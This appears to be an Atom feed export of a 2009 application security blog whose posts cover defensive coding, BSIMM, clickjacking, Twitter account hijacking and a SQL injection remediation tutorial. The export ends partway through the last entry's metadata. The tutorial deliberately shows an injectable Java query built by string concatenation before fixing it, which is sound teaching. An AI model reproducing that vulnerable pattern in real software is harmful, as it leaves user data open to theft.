<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-35979354</id><updated>2011-11-28T00:19:54.863Z</updated><category term='users'/><category term='other'/><category term='books'/><category term='security'/><category term='politics'/><category term='passwords'/><category term='blackhat'/><category term='SANS'/><category term='customers'/><category term='xslt'/><category term='uxss'/><category term='offtopic'/><category term='libraries'/><category term='browsers'/><category term='phishing'/><category term='iphone'/><category term='qa'/><category term='giac sans gssp'/><category term='groovy'/><category term='spicon'/><category term='repost'/><category term='web 2.0'/><category term='resources'/><category term='rails'/><category term='good habits'/><category term='spam'/><category term='class'/><category term='owasp'/><category term='pen testing'/><category term='clickjacking'/><category term='xss'/><category term='developer'/><category term='mozilla'/><category term='eclipse'/><category term='injection'/><category term='xsrf'/><category term='output filtering'/><category term='OWASP Top 10'/><category term='defcon'/><category term='xpfa'/><category term='wasc'/><title type='text'>Sylvan von Stuppe</title><subtitle type='html'>Web Application Security.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default?start-index=101&amp;max-results=100'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>176</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-35979354.post-289851952250252754</id><published>2009-11-19T02:20:00.000Z</published><updated>2009-11-19T02:20:52.069Z</updated><title type='text'>A Non-Technical Rant</title><content type='html'>First, if you're looking for a post that is exemplary in its technical merit, this isn't it.&lt;br /&gt;&lt;br /&gt;Second, my apologies for the long silence.  I've been working on exciting stuff, but that's no excuse for posting nothing for this long of a period.&lt;br /&gt;&lt;br /&gt;Now for our regularly-scheduled complaint...&lt;br /&gt;&lt;br /&gt;I received some news today that was very disturbing.  The thing in the news that bothered me was not that the person who sent the news disagreed with me - I'm not bothered by that.  I tend to embrace being a bit different.&lt;br /&gt;&lt;br /&gt;But what bothered me was a statement in the end of the message.  The end of the message said that the team I was working with needed to spend more time researching ways to make defensive coding completely invisible to developers.  The people who made this statement were way smarter than me, so I must be completely in the dark here.&lt;br /&gt;&lt;br /&gt;Defensive coding should be automatic, yes.  Invisible?  Never.  Similarly to shielding your children from every bacteria and virus that might come their way, only to find they spend the remainder of their life sick, these people think that the way to have more defensive code is to make it totally invisible to developers.  Developers should be trained less on defensive programming so that when new attack vectors come out, the &lt;strong&gt;only&lt;/strong&gt; people who can rescue them are security professionals.  (Security professionals - what's our track record so far when we do things our way?)&lt;br /&gt;&lt;br /&gt;So the gist of the statement was this - developers are too stupid to write defensive code.  Functional code is no problem, but defensive code is serious business that we need to leave to the security professionals.&lt;br /&gt;&lt;br /&gt;You trust developers to handle your income tax returns, but don't trust them to use prepared statements on purpose?&lt;br /&gt;&lt;br /&gt;You trust developers to navigate the space shuttle, but doing some proper input validation is too complex for them?&lt;br /&gt;&lt;br /&gt;You trust developers with sensitive health care information, but think that they're too dull to properly obfuscate it when logging?&lt;br /&gt;&lt;br /&gt;See, this is exactly what the problem is right now.  We security people think that everybody else is too stupid to get it, and that we have to rescue them.  We can't possibly hold people accountable for gaining new knowledge?  Look - the security vulnerabilities we find today aren't new.  People had to program defensively long before there was a security industry.  But now that there's a security industry, the best thing we can do is make writing good code transparent?  Pshaw!  If the coders aren't doing things right, raise your standards.  If you are or know a programmer, you know the way to motivate them - tell them it can't be done.  That will show you who the real programmers are.  (But I'm still convinced that a decent blacklist simply cannot be written.)&lt;br /&gt;&lt;br /&gt;A previous group I worked with used a set of tools I had written as a benchmark for hiring people.  This isn't to say that what I wrote was rocket science - it just took some time, reading, and mostly tinkering.  Nobody we hired was able to crack the nut in a reasonable amount of time - but we weren't looking for the people who could figure it out in an hour - the people we hired were the ones who tried - who weren't scared of a challenge - who were convinced it &lt;strong&gt;could&lt;/strong&gt; be done, and who were determined to find a way to do it.&lt;br /&gt;&lt;br /&gt;There do exist people with that mindset.  The real programmers are those people.  And they're not so stupid that you have to make everything invisible to them.  They're smart enough that once you make the need clear to them, they will do the right thing automatically - because it's the right thing.  They're the ones who will program defensively when there aren't automated tools around making their code defensive without them knowing it.&lt;br /&gt;&lt;br /&gt;EORant.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-289851952250252754?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/289851952250252754/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/11/non-technical-rant.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/289851952250252754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/289851952250252754'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/11/non-technical-rant.html' title='A Non-Technical Rant'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-3350335405065923262</id><published>2009-06-16T13:19:00.000Z</published><updated>2009-06-16T13:19:10.679Z</updated><title type='text'>50 Ways to Inject Your SQL</title><content type='html'>&lt;div style="text-align:center"&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/5pSsLnNJIa4&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/5pSsLnNJIa4&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;If I had to rate it, it'd be an A+ on musicianship (I mean - who can't get an A+ for a parody of a Paul Simon song?), an A+ on lyrics (that's not the easiest song in the world to write new lyrics to), and a B+ on technology - only because with a video that short, it's really difficult to demonstrate receiving the results out of band - like in PDF, images, or by forcing the database server to do DNS lookups and logging the DNS events.  But it's still good fun.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-3350335405065923262?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.youtube.com/watch?v=5pSsLnNJIa4' title='50 Ways to Inject Your SQL'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/3350335405065923262/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/06/50-ways-to-inject-your-sql.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3350335405065923262'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/3350335405065923262'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/06/50-ways-to-inject-your-sql.html' title='50 Ways to Inject Your SQL'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-631237324484479526</id><published>2009-03-05T02:42:00.000Z</published><updated>2009-03-05T02:42:01.176Z</updated><title type='text'>Building Security In Maturity Model</title><content type='html'>It's no secret I'm a big fan of the work that Gary McGraw, Brian Chess, and Sammy Migues have done on the Building Security In Maturity Model (BSIMM).  The idea of any maturity model is to have a set of criteria in any process that demonstrate how maturely the process is being run.  While it's not an exact science, it is a pretty good comparative model, and for any process that is not fully matured or innovating, it gives some idea what the "next steps" are to improving the process.  The good news about the BSIMM is that they didn't just make up the criteria for the model - they dealt with ten companies from several industries to get a picture of what some of the mature practices are out there.&lt;br /&gt;&lt;br /&gt;One of the great things about the results of their research is that they've released the results under the &lt;a href="http://creativecommons.org/licenses/by-sa/3.0/"&gt;Creative Commons Attribution - Share Alike 3.0 License&lt;/a&gt;.  But it's also good to know that the run-time testing is not limited to penetration testing by the software security group, but includes fuzzing and failure or abuse cases in QA.&lt;br /&gt;&lt;br /&gt;Anyway, I can't provide any more valuable information that what's in the model itself.  &lt;a href="http://www.bsi-mm.com/"&gt;So go take a look.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-631237324484479526?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.bsi-mm.com/' title='Building Security In Maturity Model'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/631237324484479526/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/03/building-security-in-maturity-model.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/631237324484479526'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/631237324484479526'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/03/building-security-in-maturity-model.html' title='Building Security In Maturity Model'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-2744603652122137276</id><published>2009-02-22T22:24:00.000Z</published><updated>2009-02-22T22:24:21.050Z</updated><title type='text'>Dealing with SQL Injection Part I</title><content type='html'>It turns out the new cool way of spreading malware is by SQL Injection.  SQL Injection is also my favorite way of getting almost every piece of data available in the application.  But I'm a solutions guy, and this is a solutions blog, so let's learn how to deal with it.&lt;br /&gt;&lt;br /&gt;As Jeremiah said in his &lt;a href="http://jeremiahgrossman.blogspot.com/2009/02/sql-injection-eye-of-storm.html"&gt;excellent post&lt;/a&gt; on the subject, a way (not necessarily the best way) of finding injection points is by outside in penetration testing.  Trying particular sets of metacharacters might yield a database error, and you can often tell if the application is giving the error or if the database is giving the error.  There are a couple of flaws with this approach:  1) programmers know errors are bad, and often do what they can to hide those, so you might not get adequate enough information to formulate a good attack.  2) Black-box penetration testing will only find a subset of the problems.  If a particular injection is only exploitable on Tuesday, for instance, if it's not exercised on a Tuesday, it's never found.  (These are called &amp;quot;corner cases&amp;quot;)&lt;br /&gt;&lt;br /&gt;The best place to fix SQL Injection vulnerabilities is in the source code.  And if you have access to the source code, the absolute best method of finding SQL Injection points is by source code analysis - preferably a combination using automated static analysis tools and manual analysis.  The way static analysis tools work to find the injection points is by marking data that enters the application as tainted or untrusted.  Expensive tools can trace the taint through the application, through API calls, assignments, etc. until the data goes into a function that's not trusted.  SQL Injections happen when untrusted data is concatenated into a query to be used in a prepared statement or query.  Some example API's include in .NET &lt;span style="font-family: monospace"&gt;DbCommand.CommandText&lt;/span&gt; (and children), or JDBC &lt;span style="font-family: monospace"&gt;Statement.execute*&lt;/span&gt; or &lt;span style="font-family: monospace"&gt;Connection.prepareStatement&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Here's a quick example from a web application:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Connection conn = DBUtil.getConnection();&lt;br /&gt;Statement stmt = conn.createStatement();&lt;br /&gt;String sql = "SELECT id, surname, givenName FROM person WHERE surname = '"&lt;br /&gt;  + request.getParameter("surname")&lt;br /&gt;  + "'";&lt;br /&gt;ResultSet rs = stmt.executeQuery(sql);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;There are two things that need to be corrected in the code above:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Rather than using a concatenated query, we should use a prepared statement, parameterized query, bind variables statement, whatever you want to call it.  This allows the database driver to properly escape and transmit data to the query.  For repeated queries, it also &lt;strong&gt;substantially&lt;/strong&gt; improves performance.&lt;/li&gt;&lt;li&gt;Some sort of input validation needs to take place on the request parameter &amp;quot;surname&amp;quot; to verify that it's a legal surname syntax according to our syntax.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Here's the improved code using the first item:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Connection conn = DBUtil.getConnection();&lt;br /&gt;String sql = "SELECT id, surname, givenName FROM person WHERE surname = ?";&lt;br /&gt;PreparedStatement stmt = conn.prepareStatement(sql);&lt;br /&gt;stmt.setString(1, request.getParameter("surname"));&lt;br /&gt;ResultSet rs = stmt.executeQuery();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;It's important to note that using PreparedStatement doesn't immediately make the code immune.  You have to use them properly by using bind variables.  The syntax for using them differs from driver to driver and RDBMS to RDBMS, but question marks are pretty common.  Some things can't be bound, however.  Only constant values can be bound, so if you're depending on the user to provide table or column names, you need to make sure it is exactly one of the allowed values, or use a lookup method such as a map to map integers to the column names.  Also, LIKE statements seem to cause people grief - you need to concatenate the percent signs to the bind variables like &amp;quot;&lt;span style="font-family:monospace"&gt;WHERE foo LIKE '%' + ? '%'&lt;/span&gt;&amp;quot; or &amp;quot;&lt;span style="font-family:monospace"&gt;WHERE foo LIKE CONCAT('%',?,'%')&lt;/span&gt;&amp;quot;.&lt;br /&gt;&lt;br /&gt;As above, the other thing that needs to happen is input validation.  I picked surname on purpose because the most common SQL metacharacter first used for injection is the apostrophe.  An apostrophe might also be allowable in a surname.  So it becomes a perfect example of why prepared statements work so well - it doesn't mean that you don't have to use apostrophes.  Here's an updated version that takes pretty complex US-ASCII surnames including apostrophes, but still gets those safely to the query later.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;String search = request.getParameter("surname");&lt;br /&gt;if (search == null || !search.matches("^([A-Za-z][a-z]*[' ])?[A-Z][a-z]+(-([A-Za-z][a-z]*[' ])?[A-Z][a-z]+)?$")) {&lt;br /&gt;  rejectInput();&lt;br /&gt;}&lt;br /&gt;Connection conn = DBUtil.getConnection();&lt;br /&gt;String sql = "SELECT id, surname, givenName FROM person WHERE surname = ?";&lt;br /&gt;PreparedStatement stmt = conn.prepareStatement(sql);&lt;br /&gt;stmt.setString(1, search);&lt;br /&gt;ResultSet rs = stmt.executeQuery();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Also, it's worth noting that simply using stored procedures &lt;strong&gt;does not&lt;/strong&gt; remove SQL Injection vulnerabilities.  There are two ways that injection can still take place - either by the way the statement is called from the code (with an EXEC with user data concatenated into it), or if the stored procedure uses concatenation to build a dynamic query - all you've done is moved the injection attack into the stored procedure, effectively using the prepared statement to safely transport the attack there.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-2744603652122137276?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://jeremiahgrossman.blogspot.com/2009/02/sql-injection-eye-of-storm.html' title='Dealing with SQL Injection Part I'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/2744603652122137276/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/02/dealing-with-sql-injection-part-i.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2744603652122137276'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/2744603652122137276'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/02/dealing-with-sql-injection-part-i.html' title='Dealing with SQL Injection Part I'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-805699878546881560</id><published>2009-02-13T03:29:00.022Z</published><updated>2009-02-13T03:57:40.598Z</updated><title type='text'>Mmmm...Springtime!</title><content type='html'>Can you smell that?  sssnnnnnnifffffff.....  Aahhhh yes.  It's that time of year.  Yeah, regardless of what &lt;a href="http://en.wikipedia.org/wiki/Groundhog_Day"&gt;Punxsutawney Phil&lt;/a&gt; might have had to say, it's springtime!  (You folks in the colder parts of the Northern Hemisphere that won't thaw until June will just have to bear with the analogy - sorry).  Yeah - it's the time of year when we clean up and clean out.  &lt;a href="http://blackhat.com/"&gt;Black Hat&lt;/a&gt; is about to start their rounds, &lt;a href="http://www.shmoocon.org/"&gt;SchmooCon&lt;/a&gt; just wrapped up, and all the new sales pitches start.&lt;br /&gt;&lt;br /&gt;But I think this spring is bound to be a much more delightful one.  I've become somewhat disgruntled in the AppSec industry because for a couple of years, we've not been focused on app security, but app &lt;strong&gt;in&lt;/strong&gt;security.  I think we left short.  I personally think that finding weaknesses is only good if you have one of two end goals in mind:  either you intend to exploit the weakness for fun and profit (or friends), or you identify them so that you can fix them.  For a couple of years, the industry has grown rapidly, but sadly, mostly to the end that we're getting really good at identifying weaknesses, but leaving developers with no indications whatsoever about what to do about their problem.  With no solutions, we've left our developers with two options: give up and cross your fingers hoping the bad guys never find out, or second, give up and pull the plug on your project.&lt;br /&gt;&lt;br /&gt;But there are lots of things going on in AppSec right now which are very promising for those of us who actually want things to get better:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://gartner.com"&gt;Gartner&lt;/a&gt; is releasing a &lt;a href="http://www.fortify.com/magicquadrant/"&gt;Magic Quadrant on Static Analysis tools&lt;/a&gt;.  While static analysis tools identify weaknesses, they identify them in such a way that developers can actually &lt;strong&gt;do&lt;/strong&gt; something about the problems.  (Please don't read that the wrong way.  I'm not arguing that static analysis is &amp;quot;better&amp;quot; than blackbox/greybox testing.  Lots of other people have those fights.  Not for me).  This is great news because an industry researcher has put a lot of effort into finding out from the industry what the best tools are in particular areas.&lt;/li&gt;&lt;li&gt;&lt;a href="http://www.whitehatsec.com/home/services/waf.html"&gt;WhiteHat Security is providing WAF integration&lt;/a&gt; as one of their many services.  While WAF's are not a silver bullet, when you don't have the source code, or a lot of cycles to fix issues, WAF's are a good stand-up solution to many semantic types of flaws, and a few logical ones, too.  It's a step in the right direction.&lt;/li&gt;&lt;li&gt;Gary McGraw, Brian Chess, and Sammy Migues spent a great deal of time working with businesses learning about how they're dealing with application security, and have put together a &lt;a href="http://www.informit.com/articles/article.aspx?p=1315431"&gt;Software Security Maturity Model&lt;/a&gt; to help businesses identify where they are in terms of baking in security, and where they need to go next.  My favorite surprise of their investigation?  The one thing that all their subjects said was most important in their program was training.  And not just training on identifying weaknesses, but developing solutions.&lt;/li&gt;&lt;li&gt;&lt;a href="http://ha.ckers.org/"&gt;RSnake&lt;/a&gt; and others are working with browser vendors to work out solutions to the whole clickjacking thing.  I hate to see the standards-compliant focus of the browsers over the past few years go to back to the browser wars, but the slow-movement of the standards have crippled the advancements of browsers that are helpful in protecting users.&lt;/li&gt;&lt;li&gt;I'm personally doing a little bit of research on developing securely, and might actually get some work done on the project at some point and have a paper to prove it.  But right now, it's all just theoretical.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;If you're new to the blog, I'm passionate about fixing issues.  Certainly, the first step to recovery is admitting you have a problem, but at some point you have to move beyond admitting you have a problem, and working on overcoming the problem.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-805699878546881560?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/805699878546881560/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/02/mmmmspringtime.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/805699878546881560'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/805699878546881560'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/02/mmmmspringtime.html' title='Mmmm...Springtime!'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-5882868360597624858</id><published>2009-01-07T22:24:00.000Z</published><updated>2009-01-07T22:35:30.178Z</updated><title type='text'>Twitter Continues to Be Caught With Their Pants Down</title><content type='html'>flee over at &lt;a href="http://www.fortify.com/"&gt;Fortify&lt;/a&gt; has an excellent analysis of the recent incidents with Twitter where very high-popularity profiles have been hijacked.  The analysis is exceptional, but I have one question:&lt;br /&gt;&lt;br /&gt;Does anybody take Twitter seriously?  I mean....really?&lt;br /&gt;&lt;br /&gt;Yes, certain brands use it as a means to remind deliberate followers that the brand is indeed still alive.  In fact, is there really a better way to receive notification of the daily &lt;a href="http://woot.com/"&gt;woot&lt;/a&gt;?  But on the other hand, do followers really trust that Twitter has validated the authenticity of the people sending them tweets?&lt;br /&gt;&lt;br /&gt;I suppose that unfortunately, the answer is yes.  Or to be more accurate, I suppose that users have not really thought about it.  In fact, I suppose that a few security-savvy users depend on it as &lt;a href="http://www.schneier.com/"&gt;Bruce Schneier&lt;/a&gt; thought it necessary to &lt;a href="http://www.schneier.com/blog/archives/2008/12/schneier_on_twi.html"&gt;clarify&lt;/a&gt; that &lt;a href="http://twitter.com/bruceschneier"&gt;@bruceschneier&lt;/a&gt; is not &lt;a href="http://www.schneier.com/"&gt;Bruce Schneier&lt;/a&gt;.  (Or at least not the &lt;a href="http://www.schneier.com/"&gt;Bruce Schneier&lt;/a&gt; that runs &lt;a href="http://www.schneier.com/"&gt;schneier.com&lt;/a&gt;.)  And by not thinking about whether Twitter truly authenticates the source of tweets, users implicitly trust the source.&lt;br /&gt;&lt;br /&gt;Expect to see a &lt;a href="http://www.gnupg.org/"&gt;GPG&lt;/a&gt; plugin for &lt;a href="http://laconi.ca/trac/"&gt;laconica&lt;/a&gt; soon.  (And yes, I do realize how silly of a statement that is.)&lt;br /&gt;&lt;br /&gt;And while you're here, be sure to subscribe to the &lt;a href="http://blog.fortify.com/"&gt;Fortify Blog&lt;/a&gt;.  Those are all folks who do development and security, and do them both pretty well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-5882868360597624858?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blog.fortify.com/blog/fortify/2009/01/07/Twitter-Continues-to-Be-Caught-With-Their-Pants-Down' title='Twitter Continues to Be Caught With Their Pants Down'/><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/5882868360597624858/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/01/twitter-continues-to-be-caught-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5882868360597624858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/5882868360597624858'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/01/twitter-continues-to-be-caught-with.html' title='Twitter Continues to Be Caught With Their Pants Down'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-35979354.post-4251896010637315353</id><published>2009-01-07T00:13:00.000Z</published><updated>2009-01-07T00:36:18.104Z</updated><title type='text'>New Year Rundown</title><content type='html'>I've been away from the blog for a bit lately, mostly because of work on a couple of projects that have not necessarily taken all my free time, but they've not lent themselves cleanly to a bloggable idea.&lt;br /&gt;&lt;br /&gt;For security experts, there's no real news here.  For developers, some of these tidbits may be of interest.&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;There's a big debate about &lt;a href="http://blog.fortify.com/blog/fortify/2008/12/15/Penetration-Testing-is-Dead-Long-Live-Penetration-Testing"&gt;whether pen-testing is dead, dying, evolving, or thriving&lt;/a&gt;.  If you really want my opinion on the matter, pen testing is no less important than it has ever been.  However, I think that enterprises need to shift focus from picking their jaw up off the floor to seeing how they can actually correct the issues.  Pen testing will always find flaws that no other form of testing can.  And it can provide good &amp;quot;shock value&amp;quot;.  But pen testing doesn't solve problems.  For those who have pen testers in the enterprise, they need to understand that the pen test is not the end game - more defensive applications are the goal.  In fact, I don't think the focus-shift that's necessary reduces the need for pen-testing, but rather &lt;b&gt;increases&lt;/b&gt; the need for good pen-testers with good documentation ability.&lt;/li&gt;&lt;li&gt;Gary McGraw and Brian Chess did a superb job culling metrics from nine different enterprises to develop a maturity model for where enterprises are in their application security programs.  As you've seen me say before, it's time for us to get the information that's in the security experts' hands and properly translate it to developers who are responsible for fixing findings.  &lt;a href="http://www.informit.com/articles/article.aspx?p=1315431"&gt;See the report here&lt;/a&gt;.&lt;/li&gt;&lt;li&gt;Every so often I get to work on another scenario for clickjacking.  It really, really scares me.  Certainly, the victim audience would be somewhat smaller than the general XSRF audience, but to think that you can use clickjacking to work around XSRF protections (including CAPTCHA) is frightening.  If you're in control of it, make sure your site has some framebusting code.  And even that's not 100% effective.  (Considering IE can force an iframe to load at a particular security zone).&lt;/li&gt;&lt;li&gt;Regarding the &lt;a href="http://arstechnica.com/news.ars/post/20081231-theoretical-attacks-yield-practical-attacks-on-ssl-pki.html"&gt;MD5-collision-fake-CA attack&lt;/a&gt; demonstrated at 25C3:  It's a &lt;b&gt;very&lt;/b&gt; cool attack.  And it completely negates the purpose of CA's - to validate the authenticity of a site.  &lt;b&gt;But&lt;/b&gt; who are the victims in a successful attack?  The victims would be the people who are susceptible to phishing scams or DNS poisoning, but actually verify the authenticity of certificates.  Sure, the browser will be fooled, but even without properly faking a CA, how many people who fall for phishing attacks don't click &amp;quot;Yes, I really want to do this foolish thing&amp;quot; when the browser warns them?&lt;/li&gt;&lt;li&gt;Regarding &lt;a href="http://arstechnica.com/news.ars/post/20090105-twishing-attacks-steal-data-in-140-characters-or-less.html"&gt;twishing&lt;/a&gt;:  nifty idea.  I wish it were mine.  You can actually see the day that people got twished by the sudden change in their posts that have URL's in them.  So why is twishing more severe than making thousands of fake twitter accounts?  There are two reasons:  1) Twitter promptly disables ID's it deems to be automated spam accounts.  Normal user accounts that are suddenly used for sending spam will pass more heuristics for legitimate use, and 2) real people already follow (and trust) the real users who got twished.&lt;/li&gt;&lt;li&gt;Attackers are continuing to use open redirects in Flash for new phishing attacks.  Yes, just like Java applets or ActiveX controls, your Flash movies need to be analyzed for potential security flaws.  Although there are lots of nifty attacks involving Flash, the simplest are still the most effective.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;And...oh yeah!  Happy New Year!  It's a delightful time to be in the security industry, and a very good time to be a developer who understands defensive programming.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35979354-4251896010637315353?l=sylvanvonstuppe.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sylvanvonstuppe.blogspot.com/feeds/4251896010637315353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/01/new-year-rundown.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4251896010637315353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35979354/posts/default/4251896010637315353'/><link rel='alternate' type='text/html' href='http://sylvanvonstuppe.blogspot.com/2009/01/new-year-rundown.html' title='New Year Rundown'/><author><name>Sylvan von Stuppe</name><uri>http://www.blogger.com/profile/08678576815667492639</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 